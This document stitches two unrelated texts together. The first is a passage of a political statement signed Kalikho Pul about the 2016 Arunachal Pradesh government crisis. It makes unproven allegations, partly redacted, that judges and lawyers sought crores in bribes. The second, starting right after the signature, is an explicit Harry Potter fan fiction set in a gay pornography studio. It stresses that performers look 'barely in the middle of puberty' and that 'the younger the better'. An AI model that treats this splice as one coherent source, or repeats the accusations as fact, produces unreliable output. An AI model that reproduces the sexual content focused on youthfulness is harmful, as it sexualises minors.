15.4. Whereupon Nabmam Tuki returned with a stay order from court. His Speaker, Nabam Rebia, also remained in his position. So much had transpired but we did not form the government.
15.5. On January 13 [2016], the Guwahati high court dismissed the stay as well as the petition. Then Nabam Tuki knocked at the door of the Supreme Court. His government continued.
15.6. Even after the Guwahati High Court verdict we did not form the government.
15.7. Soon the law and order situation started deteriorating. There were incidents in every corner of the state. So much so that even the governor found himself at the receiving end of discourtesy. Peace vanished, there were daily strikes, and a financial crisis reared its head in the state. The situation went from bad to worse.
15.8. The 16-17 December session of the assembly was not considered legitimate; in the previous six months there hadn’t been even one assembly session. Due to this, a constitutional crisis also raised its head in the state.
15.9. Seeing the rising graph of incidents, the state was brought under President’s rule on 26 January [2016] and the Nabam Tuki government was removed.
15.10. On February 19, President’s rule was lifted. With the support of 33 legislators, we staked a claim to form the government. The governor invited us to form the government, asking us to prove our majority within 10 days.
15.11. Within a week, i.e., on February 25, we proved our majority on the floor of the house.
15.12. In no way was our government formed by flouting the law – we worked in accordance with the constitution, the law, dictates of justice and ethics.
15.13. The salient points of the judgment delivered by a five judge bench of the Supreme Court [on July 13, 2016] were as follows:
It rejected the advancing [of the assembly session date] by the governor
Rejected the governor’s message
Keeping the above two points, it rejected the assembly session of December 16-17, 2015.
Keeping the above three points in mind, it rejected the decision of the assembly [to remove the Tuki government]
15.14. The Supreme Court judgment did not say anything that could be construed as being against my government. The Supreme Court bench did not say anything about the imposition of President’s Rule in the state either. Neither did it say anything about the floor test conducted during the seventh session of the sixth legislative assembly. The budget session, the eighth session of the sixth legislative assembly, took place after this and the budget was passed, but the Supreme Court did not comment on it.
15.15 The Supreme Court judgment delivered in this case was absolutely wrong, for the laws enshrined in our Constitution are well known.
Article 174 – The Governor shall from time to time summon the House or each House of the Legislature of the state to meet at such time and place as he thinks fit.
Article 175 – The Governor may send messages to the House or Houses of the Legislature of the state, whether with respect to a Bill then pending in the Legislature or otherwise, and a House to which any message is so sent shall with all convenient dispatch consider any matter required by the message to be taken into consideration.
Article 163 – The chief minister or council of ministers can take advice from the governor. If any dispute arises, the decision of the Governor shall be final. The Governor’s decision cannot be challenged in any court.
15.16. In the event of a government falling in any state or a minority government plunging into a crisis, these laws elaborated upon in our constitution give the governor the right to summon the legislative assembly and instruct the chief minister to prove his majority.
15.17. This was not solely about removing Nabam Tuki; it was also about a motion to move a resolution for the removal of the Speaker Nabam Rebia. Knowing this, Nabam Rebia, instead of calling the session within a month, summoned the assembly more than two months later, which was unprecedented. By doing this he was giving his brother Nabam Tuki enough time to buy legislators.
15.18. The motion for moving the resolution should be after 14 days from the date when a notice of the resolution is received. Keeping this in mind, the governor decided to advance the assembly session. The governor consistently functioned within the ambit of law; he was not at fault.
15.19. After being at the receiving end of the kind of verdict that the Supreme Court delivered, I have lost faith in the judiciary. While the legislators of Arunachal are for sale and so too the Congress, it grieves me to think the unthinkable – that even xxxxxx xxxxx xxxx xx xxx xxxxx xx xxx xxxxxx/xxxx xxxxxx.
15.20. I and my associates were contacted several times to say that the decision could be made in my favour xxxxxxxx for xxxxxx Rs 86 crore. I am an ordinary man. I don’t have the kind of money that is xxxx xx xxx xxx xxxxx xx xxxx xxxx xxxx, nor do I want to do so.
15.21. The chief minister’s position exists to serve the people and ensure their safety. I have no wish to xxxx that position. That is precisely why I did not approach the court again or file another application.
15.22. xxxxxxx xxxxx, xxx xxxxx xxx xx xxxxxx xxxxxx got in touch with my associates and demanded Rs 49 crore.
15.23. xxxxx xxxxx, xxxxxx xx xxxxxx xxxxxx xxxxxx, demanded Rs 37 crore from me.
15.24. xxxxxx xxxxx – He has his own lobby in the Supreme Court. Lawyers and xxxxx xxxx xxxxx xx x xxxxx xxxx xxxx and xxxx xxxx xxxxx.
Travelling to Guwahati by chartered plane, within half an hour Kapil Sibal got a Keep in Abeyance order from the court, whereas earlier the court had turned down this case.
Along with Prashant Tiwari I met Kapil Sibal four times and told him the reality of Nabam Tuki.
When I met xxxxx xxxxx at his residence (at xxxxxxx xxxxx xxxxx, xxxxxx xxxxx) he had demanded Rs 9 crore from me, Rs 4 crore in advance. xxxx xx xxxxx xxx xxx xx xxxxx xxxx xxx xxx xxxxx xx xxx xxxxx xxxx xxxxxxx.
At the Guwahati High Court we won this case where the Congress did not exert influence over lawyers xxx xxxxx.
Later we came to know that Congress president Sonia Gandhi had xxxx xxxx xxx xxxx xx xx xxxx xxxx xxxx to fight Nabam Tuki’s case again.
Xxxx xxxxx was the one who by xxxx xxxxxx xxxxxxx xxxxxxx plotted the entire game, notching up a false victory for Nabam Tuki. Today he is x xxxxxx xx xxxxx xxxxxx xxxxx. In my entire political career I have observed that the xxxxx is xxxx xxxxxx xxxxxx xxxxxx xxxx. They are all in it together.
15.25. I was contacted up till the night of July 12 and told that if I gave an advance sum of Rs 9 crore, xxx xxxx xxxxx xxxx put off for a month; upon receiving the remaining Rs 77 crore, xxxx xxxxx would be xx xxx xxxxxx.
15.26. I did not pay heed to them, nor did I consent to give money. Seeing the faltering process I decided not to react to the judgment, nor did I submit an application for a relook at the verdict, because I knew that xxxxx xxxx xxx xxxx xxx xxx xxx.
15.27. Up until today, i.e., July 25, xxx xxxxx xxxxxxxx has been in touch with me on behalf of xxxxxx xxxxxx, talking about a change in xxx xxxxxxx. When and how a petition is to be filed, he has already figured it out. For this he has demanded Rs 31 crore.
15.28. The country and its people must identify these brokers of justice and merchants of corruption. And, guided by their inner voice of conscience, they must sift truth from falsehood and right from wrong on the scales of justice. It is necessary for the government to keep an eye on xxxxxx xxxxxxxxx and even bring a law that equips it to challenge the Supreme Court’s decisions so that xxxxx xxxxx xxxxxxx is rooted out. Such a law that enables the good of the country and the people should be made as soon as possible.
15.29. Today in our country, lawyers xxx xxxxx, xxxxx, xxx xxxx xxxxxx xxxxxx. xxxx xxxxxxx xxxxx xx xxx xx xxxx xx xxx xxx spin and xxxx a xxxx xxxx. The truth is bitter, but to this extent? I had no inkling. Facing one bitter truth after another my soul trembles. I have lost faith in the law. I worry about the country and wonder what lies in store for its innocent public. Friends, whatever I have enumerated here is cent-per-cent accurate. These expressions have come forth from the depths of my soul. At no point have I resorted to exaggeration or sensationalism, nor have I played around with facts.
15.30. What we used to see on the film screen or read in stories, we are witnessing in reality today – which proves that money speaks. Wherever there is an incident, as the process of complaint, inquiry, court case and hearing gets into motion, the situation and circumstances don’t change. Then why do the opinions and decisions of judges change? It is the same constitution that is kept in the lower court, session court, high court and Supreme Court, and is available outside court precincts as well. Apart from lawyers and judges, people from other walks of life also read and understand it.
15.31. When the text of law does not change, how come the decisions of judges change? Why does the verdict of victory and defeat in a case change time and again? The changing verdict tells us xxxx xxxxx xxxx xxx xxxx. But the truth is not altered by these decisions – the truth is eternal, unchanging; even god cannot negate it.
15.32. During my childhood itself I won the love and trust of villagers; from my student life onwards I have won every election I have contested. Even today I have not seen the face of defeat in my political career: in 1995, after winning my first assembly election I was made a minister. I have worked hard in every position that I have been assigned, with not a whiff of scandal attached to my name. In my short life I have made a considerable contribution to the development of society, community, region and state, in the service of the people.
15.33. Hence I have no regrets or sorrows in life about what has come my way. It is for this reason that I don’t look upon the Supreme Court verdict as my defeat. I know that if I choose to file a clarification, review petition or SLP, I am sure to win. But xxxxxx xxxxx xxxx xx Rs 80-90 crore xxxx xxxxx xxxxx and that is why I do not want to do any such thing. My message to the innocent and naïve public of this state and country is simple and crystal clear.
My message
16. I appeal to my beloved people to always cast their vote for public good. Never succumb to pressure and kill your future; never let any strongman make you cower. For the sake of some liquor and money that is distributed during election time, do not push your future and posterity into quicksand; never compromise on your rights. Before casting your vote if you look at your children once and think about their future, I guarantee that your vote will go to the right candidate. The public should be able to see through the candidates’ hollow election slogans. When the candidates ask for votes, people must quiz them on issues of right and wrong and to the extent possible, cast their votes after getting to know somewhat about their past life, their ideas, values and conduct.
16.1. It has often come to my notice that honest people fight shy of participating in the electoral process. They think that one vote makes no difference, which is fallacious thinking. Each and every vote is as precious as a diamond because it contains that strength of democracy which is capable of rooting out despots and strongmen.
16.2 It is up to the people to decide. It is their duty to cast their vote in favour of the candidate who thinks of their welfare; it is immaterial which community, religion or caste they belong to. The public should elect candidates who are well-educated, principled, grounded in values and patriotic ideas, have faced hardships and struggled hard to come up in life, and are capable of leading the state and country in the right direction.
17. Students – To students I just want to say that they should pursue their studies with dedication, hard work and integrity. Consider your studies as worship and harness your devotion and strength to achieve your goal. The knowledge and understanding gained in your student life will be with you for the rest of your life. You should use the time at your disposal to acquire knowledge, share knowledge and immerse yourself in knowledge.
17.1. At this stage you are like an unbaked pot of clay that can be shaped any which way; any attempt to give a shape to it after it has been baked will break the pot. Hence you must recognise the importance of this phase in shaping your life in inspiring ways. Peep into the life of any great personality and you will discover that they have faced the maximum struggles in their student life. Today you must think solely about your career and your goal to achieve which you must be unstinting in your efforts
17.2. At this stage you should take care to be at a remove from politics, and business. If you gravitate towards these two things, they are likely to divert your attention, making you lag behind in your studies.
17.3. Our country has had a long tradition of vidyashrama – the student would leave his home, family and comforts for the rigourous education of an ashram, learning the shastras, the use of weapons, and politics. Today we need a similar educational ethic whereby we allow our children to imbibe, in a way appropriate for them, an understanding of sports, music, the shastras, science, mathematics, and politics. Do not enter politics or get caught up in its web at this stage.
17.4. I see students as a non-political pressure group whose role is to keep an eye on the government, politicians and officials, raising their voice for the benefit of society. If student bodies do not speak out against the machinations of a corrupt government system, who will? Who will show the right way to people and society? Once you have completed your studies you are free to join any professional stream or field.
18. NGOs – The real purpose of running an NGO is to think about the country, kindle awareness among people, reflect upon public good and put forth one’s views on the rights and wrongs of our land. More than the government, it is NGOs that have a crucial role to play with regard to the welfare of society, state and country. An NGO needs to be fuelled by a greater spirit of service than the government. It is important to work with conviction, dedication, hard work, integrity and passion.
18.1. However, most of the NGOs I have come across seem to be more interested in making money, blackmailing officials and embezzling funds meant for the welfare of the people. I have seen social workers leave their work and devote more time to meddling in the work of others. They all have their distinct lobbies with whose help they fleece people, acting as go-betweens who have access to the government and bureaucracy.
18.2. This is precisely why social workers are not respected in the state, nor is their voice heeded. To reclaim your lost image as social workers you need to work unitedly to safeguard humanity and raise your voice against corruption, wrong policies, discrimination, hierarchies of high and low as also against those who perpetrate atrocities on the poor and the backward. I pray that you never falter in your steps while following the path of righteousness.
19. Leaders – While I do not want to give a sermon to political leaders, I would certainly like to communicate the questions that have arisen from my own experiences. To leaders and ministers I would like to say that being in politics means thinking about the public as your family, seeing their problems as your problems and extending all help to them. It is not possible to become a leader without the love, cooperation and blessings of the people.
19.1. During election campaigns, more than the candidates, it is party workers and voters who work extremely hard, propelled by hope. Their families are often split down the middle, and even though matters assume violent proportions sometimes, they do not desert their candidates on the sole hope that their candidate, upon getting elected, would work towards their welfare – provide good roads, uninterrupted supply of clean water, better education and health, jobs for the youth, a better standard of living and economic growth, and uphold the rule of law so that the state does well on development.
19.2. The purpose of entering politics is not to make money but to serve people. If making money is one’s only aim, there is no need to become a political leader. There are many other avenues of earning wealth – through farming, trade, employment, winning government contracts, taking to sports or cultural activities.
19.3. Politics in the true sense is another name for social religion. Its pursuit demands that you sacrifice your comforts and wealth to work for the welfare of every segment of society. It will not do to divide and mislead people in the name of religion, caste, region and language. In fact it is important to ensure that peace is maintained in the interest of preserving our national integrity, social harmony and sovereignty.
19.4. But I am deeply saddened by the fact that in Arunachal Pradesh, those who become leaders forget the people and become self-serving. To fill job vacancies they choose their own family members or relatives or individuals from their caste. After all that, if some posts are left, they offer them to others but for a bribe. But ideally, such jobs should go to those who are needy, poor and backward in every sense of the term. Even if they do offer a position to a poor man, they do not shy away from asking for a bribe. For a price, they manage transfers of officials due to which capable individuals are deprived of an opportunity to show their mettle. To ensure promotions too they ask for bribes.
19.5. When contracts are awarded, legislators and ministers ensure they bag them in the name of their wives or children. If the contract is awarded to someone else, they are sure to ask for their share of the pie. In such a scenario, there is no place for the honest contractor. Consequently, work will never be completed in time nor will its quality be up to the mark.
19.6. In the state, schemes are conceptualised not to meet the needs of the public but to meet the legislators’ desire for making money. They not only decide on tenders beforehand but also on the share coming to those involved.
19.7. While scant progress is made on sanctioned schemes, great progress is made by legislators and ministers in augmenting their wealth. They show a great spirit of cooperation among themselves in swallowing up that wealth. Much before public projects reach fruition, leaders’ edifices shoot up.
19.8. Ideally, once a scheme gets sanctioned, it should take a year for completion; a larger project should take a maximum of two years to be completed.
19.9. In Arunachal, however, one project can take as long as eight to nine years to ensure that legislators and ministers get ample time to line their pockets. Take the instance of the secretariat building, assembly building, the state hospital in Naharlagun, MLA cottages, convention hall – these projects have gone on for more than 11 years. The secretariat building has seen four chief ministers come and go, namely Gegong Apang, Dorjee Khandu, Jarbam Gamlin and Nabam Tuki. Not one of those chief ministers succeeded in getting that project finished. There were scams in each one’s tenure. The Plan fund was increased threefold or fourfold times but the work still remained unfinished.
19.10 During my tenure, with the help of the necessary funds and an ultimatum, I managed to get the secretariat building completed. The offices of the chief minister and ministers are ready to be occupied. Moreover, I employed the same stratagem in trying to get the assembly building and state hospital of Naharlagun completed in time for shifting in August. I invested hard work, passion and energy in this endeavour; it was my duty to do so. I have presented an example of work culture that I hope will be followed in future projects and programmes as well.
19.11. In Anjaw district, which falls in my constituency, I accomplished the construction of 11 micro hydropower projects in time and within the sanctioned amount. Despite the fact that it is a hilly and border region, we made good progress, with the result that the DC headquarter and CO headquarter in the district boasts a 24 hour supply of power today. Contrast this with the fact that the state capital Itanagar and some of the oldest cities of the state, such as Pasighat, Ziro, Aalo and Tezu, still have an insufficient power supply.
19.12 In the Hawai district headquarter, I had got a township water project passed. Completing this Rs 14 crore project in hilly terrain posed a challenge, but the work was completed within two years. Today, two towns (old and new) in the region are enjoying the benefits of this project.
19.13. Prashant Lokhande, secretary planning, and I had got a similar project sanctioned for Tezu. Although the area is a plain, the project is still to be completed while the entire budget of Rs 24 crore has been exhausted. In fact, the funds have been misused. Former MLA Karikho Kri and his brother, an engineer, misused the funds. The people of Tezu continue to experience water problems.
19.14. In the same way, there were many schemes for road improvement in Tezu township, with funds amounting to Rs 29 crore raised in four years from different sources (SPA, TFC, NABARD and non-Plan). There was a misuse of funds, for the roads are yet to be built over and repaired. In many other parts of the state as well, projects were sanctioned in assembly constituencies and towns. In all these cases, the funds were exhausted but the projects remain incomplete.
19.15. But there is no accountability whatsoever anywhere in this state. While legislators and ministers move forward by working hand in glove, few projects are able to move ahead. The consequences are borne by the people and the state which is unable to develop. From chief minister to legislator, they are all corrupt. The state is the ultimate loser.
19.16. In today’s time, people are the worst sufferers of corruption. They see it, suffer it but do not raise their voice against it, even though they are the ones who elect the government. In such a situation, truth is a casualty. It is imperative that the people come together and protest the corruption-ridden system.
19.17. Officials are bound by rules and regulations and structure, and they should go by them. They are appointed to provide amenities to the people. Instead, they cooperate with leaders and officials in high places in a self-serving manner, caving in to pressure. In such a situation who will think about the people? Who will forward their interests? Where will the people go?
19.18. The role of the police and administration is to ensure the safety and security of people’s life and property, extending them every possible assistance. But what they are doing today is fawning over politicians and politicking in their company – working solely for them. What will happen to the people? Who will protect them?
19.19 The judiciary’s role is to determine the truth and punish those who are corrupt and untruthful, be it an official, leader or minister. However the state of affairs is such that from the lower court to the Supreme Court, lawyers xxxxx xxxxxx xxxxxx xxxxx xxxxx. In such a situation what will be the fate of straightforward, innocent, hardworking and cultured people? Who will give them a hearing? That is why it is saddening to see xxxx xxxxx xxxxxxx xxxx. Only god can save the people. But god certainly cannot descend to vote in an election or cleanse the corrupt system. I fervently pray to God, bestow understanding on an innocent and naïve public and give it the strength to voice protests against corruption, fight corruption and root out the leaders with corrupt minds.
19.20. When the people at the top leave much to be desired, how can one blame anyone else? Important chief ministers such as Dorjee Khandu, Nabam Tuki, Chowna Mein and Pema Khandu have always been driven by their self-interest.
19.21. I wanted to stamp out corruption, utilise government schemes and public money for development work. I wanted to put my state and its people on par with the other states and ahead of them. Perhaps my fellow legislators did not approve of this line of thinking.
20. I ask, when will the public wake up from its slumber, when will it come to its senses? How long will people be taken in by the leaders’ flashy cars and their lures of liquor and money in return for votes, mistaking their false promises to be the truth? In reality, the public wants to remain in a fool’s paradise, it runs from the truth. It is for the people to decide what they need to do. My job was to tell them the truth, but the decision lies in their hands.
20.1. In the 23 years of my political journey, having graced various ministerial positions, the work that I did for the good of the state and its people in various departments, the work I did in my constituency – perhaps you were not able to see it.
20.2. In the four-and-a-half months of my chief ministerial tenure, whatever work I did was also for the good of the state and the people. It was seen, heard, understood and appreciated by you.
20.3 I congratulate the people of Arunachal and the country, especially the youth for supporting and appreciating the work accomplished by my government on social media – as many as 17 lakh people shared our government’s work, policies, schemes and decisions on platforms such as Facebook, WhatsApp and Twitter.
20.4. I have no vested interest in telling you all this. I do not fear anyone. I am not weak and I do not consider this as an act of surrender on my part.
20.5. The sole purpose of putting these concerns out in the open is to awaken the people and make them see the dirty games being played in the state and country, the corrupt acts being perpetrated, and the reality of corruption that has seeped into the system. But people have a short memory, they forget too soon. Keeping this in mind I have taken this step in order to jog public memory, awaken people, reason with them and implore them to ponder these issues. This is also my way of reposing faith in them.
20.6. In my short life I have endured a lot, seen and experienced a lot, struggled a great deal and at times made sacrifices for the happiness of others and benefit of society. I was never defeated, nor did I ever accept defeat.
20.7. I have always taken decisions in the interests of our state and its people. I have surrendered my comforts and peace of mind, time and health, riches, my family and even myself to the people. Every breath and every moment I have sacrificed for the welfare of the people. If even 0.1 per cent realise the intent behind my message and my sacrifices, and are inspired to effect some improvement in their modes of thinking and action – rejecting greed, aggressive pursuit of self-interest and rancour and devoting some time to constructive acts – it would be worthwhile. I want the voice of my heart, my thoughts, experiences and message to reach as many people as possible so that I can reason with you, prod you awake and give you confidence and strength in the fight for truth.
Kalikho Pul
The story takes place almost two years after the Battle at Hogwarts. Harry finds himself in a situation he never thought he would, and his solution is unique. I've likened Harry to child television or movie stars in that, they all seem to have a hard time growing into adult roles and often find themselves down and out. I don't recall many other stories starring Harry as a porn star, so I hope the story is fresh. Thanks in advance for reading.
I do not own any part of the Harry Potter franchise. I thank JK Rowling for making Harry and Draco ambiguously gay enough so I can run with this story.
〪o 〫O〬 o〭
Harry stood in front of the brick terraced building and sighed heavily. He wasn't sure he'd have the nerve to actually go inside, but he was sure that if he did, there would be no turning back.
Thinking back on the past year, Harry couldn't believe he let things get to the point they had. It seemed as though his life as the Gryffindor hero had been somebody else's. And now he stood, broke, alone and desperate.
He looked at the business card Theo had given him to confirm the address. He knew it was correct, but he procrastinated going inside.
As he hesitated, a young man walked out, glanced at Harry and smiled.
"You going in?" he asked Harry as he held the door open.
The man had sandy blond hair that fell into his hazel eyes just a bit. His strong jaw and set of perfectly white teeth made him look like a model and Harry wondered if he had been at one time.
Harry began to question whether or not he belonged in there after all. He hardly thought he could pass for a model-his dark hair was naturally disheveled and he still wore glasses, thought not the same round ones of his youth. He ran his tongue subtly over his teeth. They weren't exactly crooked, but neither were they perfectly straight and white as the young man who still stood in front of him, waiting for a reply.
"Uh, yeah," Harry finally answered. Very smooth, Harry thought to himself.
"At least they're sending us some cute ones for a change." The man looked Harry up and down. "Maybe we'll work together."
Harry took hold of the door, "Yeah, uh, thanks." He watched the sandy haired man walk away, a little more confident after the compliment. He walked up to the second floor and found a middle aged woman sitting behind a large desk under a sign for Robert Winston Studios.
"May I help you?" she asked.
"I think so," he blushed, cursing himself for it. He wondered, if just talking to the receptionist made him blush, how the bloody hell was he supposed to shag in front of people.
"Do you have an appointment?"
"Yes."
"Name?"
"Harry."
"Last name?" She began entering his information into the computer.
"Just, just Harry. Is that okay?"
She looked up and smiled. "Lots of our boys use only one name. Like Madonna or Cher. But I'll need the last name for tax purposes. Can't be avoided."
Being raised by the Dursleys, Harry would never been exposed to such music. He had no idea who the woman was talking about. Therefore, he had no response other than to tell her his last name.
He glanced around as if someone would recognize his name here. "Potter. But I'd rather no one else knew, ma'am."
"No problem. Like I said, half these boys probably don't even go by their real names anyway. And please, call me Carol."
"All right, Carol. I really don't know what to do here. This is my first, um, job interview." He shifted on his feet.
"Have a seat right over there. Robert will be with you in a bit. Don't worry, love. You've got the look. Robert will be mad about you. But you may want to take off your glasses. Let those pretty green eyes show."
Harry walked to the chairs across from Carol's desk and sat, tapping his foot nervously. He debated removing his glasses, then decide he'd rather be able to see. Chuckling to himself, it occurred to him that not being able to see well may be an advantage if he got the job.
Sitting with his fingers fidgeting and his head down, Harry felt like he'd been there forever. When he looked at his watch, he saw that only thirteen minutes had actually passed. He stole a glance around and noticed men milling about, some going from room to room, always closing doors behind them. Most of them were impossibly good looking and quite fit. He wondered if they were all of legal age as some of them appeared quite young, barely in the middle of puberty.
As he became more comfortable watching the activity, something caught his eye. He stood up to get a better look at the shockingly blond head of hair as it made its way to the reception desk. He didn't notice Harry at all.
"Carol, dear, can I get another copy of my schedule? I seem to have misplaced the other one." He leaned over the desk and winked shamelessly.
"Sure thing, Dragon," she smiled. With a few clicks of the mouse the printer was spitting out the document.
"M-Malfoy?" Harry said quietly.
Draco froze, then slowly turned around. Even before he did, he knew who would be standing there. He knew Harry's voice almost as well as his own.
"Don't call me that here, Potter," he said in a low voice.
"As long as you don't call me that." Harry replied.
"I shouldn't need to ask why you're here, but why the bloody hell are you here?" Malfoy looked utterly confused to see Harry Potter, hero of the wizarding world, in a muggle gay pornography studio. He supposed Harry was just as surprised to see him. But then again, Draco thought it was highly suspected, if not common knowledge that he himself was gay back at Hogwarts. He hadn't the slightest idea about Harry. Last he heard, Harry was dating the Weasel girl.
Ignoring Malfoy's question, Harry asked one of his own. "You . . . do this? With muggles?"
He knew Malfoy to be so prejudice as to hate muggle born witches, he couldn't imagine how Malfoy managed to shag muggles for money.
"It's work. It pays great. My family lost everything after the war. We lost our home, most of our family money and all of our connections. Mother and Father survived on the charity of the few friends they managed to retain."
"I'd heard. I assumed you found work in the Ministry. Weren't you chosen for Auror training?" Harry asked.
"I declined when I realized it was just a way for them to keep me on a very tight leash. It was supposed to be compensation for my misdeeds-catching the remaining Death Eaters. But they wanted my soul as well," Draco smirked.
"And what about this?"
"They only want my body. Here, I can separate the two. But I don't understand why you're here. You must be in the wrong place. Don't you work for the Ministry?"
"I . . . I kind of lost my way after the war ended. The last thing I wanted to do after chasing Voldemort for years was to get a job chasing Death Eaters."
"Understandable," Draco nodded.
"I spent the last year depleting my funds on frivolities. Hermione tried to warn me, but I wouldn't listen. I just wanted to have fun. I was tired and self-indulgent," Harry explained.
Draco was shocked at Harry's honesty. The two fell silent, having just had the longest conversation with one another they could ever remember. At least one in which they weren't fighting.
Neither boy realized how much they needed to talk to someone who truly understood them, someone they didn't have to lie to, even if it was someone who hated them.
"So, you decided to try your hand at smut? That's quite a leap. You couldn't find a job as a clerk in a shop in Diagon Alley?" Malfoy asked.
"I've been living strictly in the muggle world for the past five months. I haven't even seen Ron or Hermione."
"Or the Weasel girl?" Draco snickered.
"I haven't seen her since shortly after the Battle at Hogwarts. I couldn't take living a lie any longer."
Draco's face took a serious turn. "Don't do this, Potter. It's not suited to your Gryffindor sensibilities."
Harry cocked his head. "That almost sounded like genuine concern. The implication is that you can handle it, but I can't. Or is it the competition you fear?"
"No need to be defensive. I am Slytherin, always will be. And maybe I'm simply telling you not to do this because I don't want to see that messy mop of hair constantly."
Just then, a short man, Harry guessed to be in his mid-thirties approached the two. He held his hand out to Harry.
"Are you Harry?" The man had an American accent.
Draco rolled his eyes at Harry. Harry frowned, having no idea why.
"That's me," Harry shook the hand.
"You going with the obvious?"
"Sorry?" Harry was confused.
"Your name. Are you going with a cliche? Because, you may not be taken seriously-"
"No. My name really is Harry. No last name."
"I'm Robert. Robert Winston. I see you've met the Dragon. You would do well to get to know him. He's one of the favorites even though he hasn't been here very long. He could show you the ropes." He laughed, "Listen to me, talking like you're already signed. Let's see what you've got then." He turned to Carol. "Is there a room open?"
"Try room three. They should have finished in there by now," Carol told him. "Don't be nervous, the camera's gonna love you, dear," she said to Harry.
"All right? Room three this way." Robert gestured down a hall and Harry began to follow.
Draco turned to walk down a separate hallway when Robert called to him.
"Hey, Dragon, help us out here."
Shit, piss, fuck! Draco thought to himself. He was hoping to sneak away before Robert got any ideas. It was one thing for Draco to shut himself off while performing with strangers or acquaintances. How was he supposed to do that with Potter?
"How old are you, Harry?" Robert asked.
"Nineteen, sir."
Robert stopped in front of a door. "Really? You could pass for younger with that baby face. You need to shave better, though."
Harry ran his fingers over his chin, feeling a small bit of stubble.
The three of them stepped into a room set up like a studio flat. On one side was a bed and on the other was a living room set up with a couch, comfy chair and coffee table. It was all set up in front of a false fireplace that looked fairly convincing to Harry.
Several cameras were set up on tripods in addition to two hand helds on a table opposite the furniture. Robert took a seat at the table with a few small monitors on it and told Harry to stand in front of the fireplace.
Robert picked up a large remote with seemingly endless buttons. The cameras and monitors came to life.
"Carol was right, the camera does love you."
Draco had subtly followed Robert behind the table and was now watching Harry on the monitors. Harry was still boyishly handsome as he had been in school, despite the hell he had gone through in his life.
"Harry, can you take off your glasses?" Robert requested.
Harry complied and was rewarded with a fuzzy view of the room and especially Malfoy.
"Go ahead and take off your shirt and trousers. Oh, just take off everything. We may as well get a look at the bits. I love that you guys call 'em bits," Robert laughed.
Harry could feel himself flush. It wasn't as if he had never stripped in front of strangers before. He'd done it countless times in front of men he'd picked up in various pubs. It was not a behavior becoming a savior.
No, he had no problem undressing for Robert. Malfoy was another story. His former enemy-now, what? Harry wasn't sure. They had both apparently fallen off the radar only to end up in the same place. The coincidence was overwhelming. Perhaps they weren't so different after all.
Harry proceeded to unbutton his shirt, while Robert panned the camera back. "Can you do that a little more . . . slowly?"
"Huh? Uh, yeah."
Harry slipped off his shirt revealing his broad chest and perfect abs.
"Nice," Robert commented. "Would it be a problem to shave your chest? Completely bare is the look these days. Even though there's not much, the hair makes you look a little older. In this business, the younger the better."
"I've never shaved it, but, yeah, I guess I could."
Next Harry stepped on the heels of his trainers and playfully kicked them off. He did the same with his socks, stepping on the toe section.
Then he unfastened the button of his jeans and slowly unzipped. Harry was so relieved he couldn't see the expression on Malfoy's face, though he knew he must be watching.
Draco was watching. He was watching Harry on the monitor, thinking it was a little less creepy that way. But his eyes kept drifting to the real Harry.
Deciding to get it all over with at once, Harry grabbed the waistbands of both his jeans and pants. He pulled them down together, hoping he wouldn't trip over the legs and fall flat on his face.
Finally, Harry stood completely nude.
"Turn around, boy," Robert ordered. Harry complied.
When he came about face, Robert smiled, not that Harry could really tell.
"Very nice. Maybe you ought to shave everything. What do you think Dragon?"
Oh God, was Malfoy going to comment on his appearance? Knowing him, he'd find fault with everything. Robert had no idea the rivalry between them.
Draco forced his gaze from Harry and focused on Robert. "He'd look fantastic clean shaven." Draco almost smacked his own forehead at the comment. He'd said too much and had to make up for it with a bit of criticism. "He needs to do something with that hair on his head, though. Too much in his eyes. The eyes are almost the best feature." Draco winced at his choice of words again. He really hadn't meant to say so much. But he hadn't expected Harry to look so good.
Was that a compliment? Harry thought. On my eyes?
Harry willed himself not to blush. Then it occurred to him that Malfoy said his eyes were almost his best feature. He wondered what he thought Harry's best was.
Feeling more exposed than ever before, Harry hoped he'd be able to dress soon.
"Um, anything else?" Harry asked.
"Let's see you in action."
"Action? What do you mean?"
"You know, interacting with someone else. Dragon, go show him what I mean."
Harry's heart stopped beating for a moment. At least it felt that way. Then it went straight to triple speed. This was more than he bargained for.
Draco got up without flinching and walked over to Harry.
"Hold on. May as well make it a test shot." Robert set two of the cameras to record.
Draco whispered in Harry's ear, "Just pretend it's not me. And follow my lead. As long as you don't totally screw this part up, he'll sign you. He likes you."
"All set," Robert said cheerfully. "I'm recording. Go ahead."
Draco knew the drill. He removed his shirt before Robert had to tell him and brushed his hair out of his face. At this close range, Harry could see Malfoy's face clearly. As he looked in his eyes, he could practically see the change as they glazed over.
The next thing Harry knew, Malfoy's lips were on his and his arm slipped around Harry's waist.
"Open your mouth, Potter," Draco said quietly against Harry's mouth. Harry reluctantly acquiesced and allowed Draco access. He tried to pretend that Malfoy was someone else, but it was difficult to think of anything but the fact that it was Malfoy kissing him.
Draco pulled back slightly. "Open your eyes and turn your face to the camera a bit. It feels awkward but it looks good on film," he whispered as he nuzzled Harry's neck.
Harry hadn't realized he'd kept his eyes shut so tight until he opened them. Seeing Malfoy's face that close up was disconcerting at best, but it was out of focus enough for Harry to start to relax a tiny bit. He felt Malfoy's hand in his hair, pulling his head to the side. Harry figured Malfoy was trying to get him to face the camera. It felt awkward. Well, more awkward than it had been already.
"Good. Better," Robert commented. "You need to relax more, Harry."
Malfoy broke the kiss and began to kiss down Harry's neck. He took the opportunity to instruct Harry again.
"Touch me, Potter. I feel like I'm snogging a dead fish."
Dead fish? The fucking nerve, Harry thought.
Harry Potter was no dead fish and he would prove it.
Harry ran his fingers through Draco's hair, then cupped his face and showered him with steamy kisses. He ran a hand down to Draco's shoulder, across his collar bone and down his chest, pausing on a nipple. Finally he rested his hand on Draco's tight six pack. Harry leaned into Draco so their bare chests were touching. Harry moaned as he pulled Draco's hair with his other hand and ran his tongue inside the Slytherin's mouth. In a brazen display of un-dead fishness, Harry snaked his hand down Malfoy's trousers, which were loose enough to accommodate the hand easily. What Harry found there nearly had him choking on Draco's spit-Draco was aroused. Harry himself was not and he wondered if it was because he was nervous or with Malfoy or if this would happen with any of them.
Draco let out a small moan when Harry wrapped his hand around him. It gave Harry a great deal of satisfaction to feel like he finally had the upper hand, so to speak.
"That's what I'm talking about!" Robert exclaimed. "You're a natural." He hit the remote. "You can get dressed and come into my office. Carol will show you where to go." Robert swiftly got up and left the room.
Harry removed his hand and swore he heard a whimper of disappointment from Draco. Draco leaned back away from Harry.
"You're good, Potter. I'll give you that," he said. He glanced down Harry's body. "The Hat was right. You should have been in Slytherin, being able to fuck with a person like that and remain unaffected."
"I took the dead fish comment as a challenge," Harry replied.
